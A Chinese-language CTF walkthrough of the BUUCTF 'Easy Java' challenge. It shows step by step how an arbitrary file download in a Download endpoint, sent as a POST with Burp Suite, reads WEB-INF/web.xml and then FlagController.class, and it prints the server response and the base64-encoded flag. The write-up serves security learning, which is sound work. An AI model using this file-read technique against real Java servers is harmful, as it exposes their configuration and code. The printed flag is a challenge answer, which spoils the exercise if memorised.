一,启动靶机

1.访问所给的靶机网址我这里是:http://e04ecfe9-f338-4710-a397-b75683c14f03.node5.buuoj.cn:81/

如图:

2.这里我们先看到题目是Easy Java说明是对于java相关web方面的漏洞

二.寻找突破口

1.访问网站之后会给出一个登入的界面,这时候我们需要收集信息了,尝试去点击那个关于help的链接,看看他会跳转到什么URL上

2.这里我们进行点击之后发现是一行报错的字段(提示找不到文件)

3.看到这里直接就向我们暴露了两个问题:

  • 后台确实是用 Java 的文件输入流在读取文件。

  • 网站存在任意文件读取/下载漏洞

这里既然找不到help.docx,说明它运行的目录或者相对路径和咱们想的可能不太一样。这时候我们需要找到核心突破口,这道ctf题既然是Java web就可以知道他的核心永远都是WEB-INF/web.xml

4.我们这时候可以尝试在URL框中直接修改一下参数,直接将filename参数改为WEB-INF/web.xmlhttp://e04ecfe9-f338-4710-a397-b5683c14f033.node5.buuoj.cn:81/Download?filename=WEB-INF/web.xml

尝试修改参数后可能还是返回参数报错,依旧是无法找到该文件。这时候想要运用绝对路径再次进行修改.

filename=/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

进行了上述代码最终发现还是报错

三.修改请求参数(将GET传参该为POST传参)

有些题目在代码里对 GET 方法读取敏感文件做了限制,或者只允许通过 POST 传入参数。

1.使用Burp Suite进行抓包将传参方式由get改为post传参

2.在修改filename=WEB-INF/web.xml后直接进行send

我们对右边的Response进行观察可以发现(完整的如下)

HTTP/1.1 200 
Server: openresty
Date: Tue, 19 May 2026 05:31:30 GMT
Content-Type: application/xml
Connection: close
Vary: Accept-Encoding
Content-Disposition: attachment;filename=WEB-INF/web.xml
Cache-Control: no-cache
Content-Length: 1562

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

这里我们可以看到有关于flag的相关的代码字段,里面藏着一个我们需要的一个中级目标:com.wm.ctf.FlagController。在 Java Web 目录结构中,编译后的类文件都在 WEB-INF/classes/ 路径下。

3.这里我们需要将原先的filename进行修改:

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

6.之后观察右边的Response,可以找到如下字段这是一段base64加密后的flag

Flagename:ZmxhZ3swYzhiMTAyOS1jNTI0LTRlOTUtODkzMi04OGIxYWQ5MDNlYzl9Cg==

7.这个就是我们需要找到的flag,拿这个加密后的flag去对应的网站进行解密然后就可以得到flag了

自此该题目就得到了解决。

更多推荐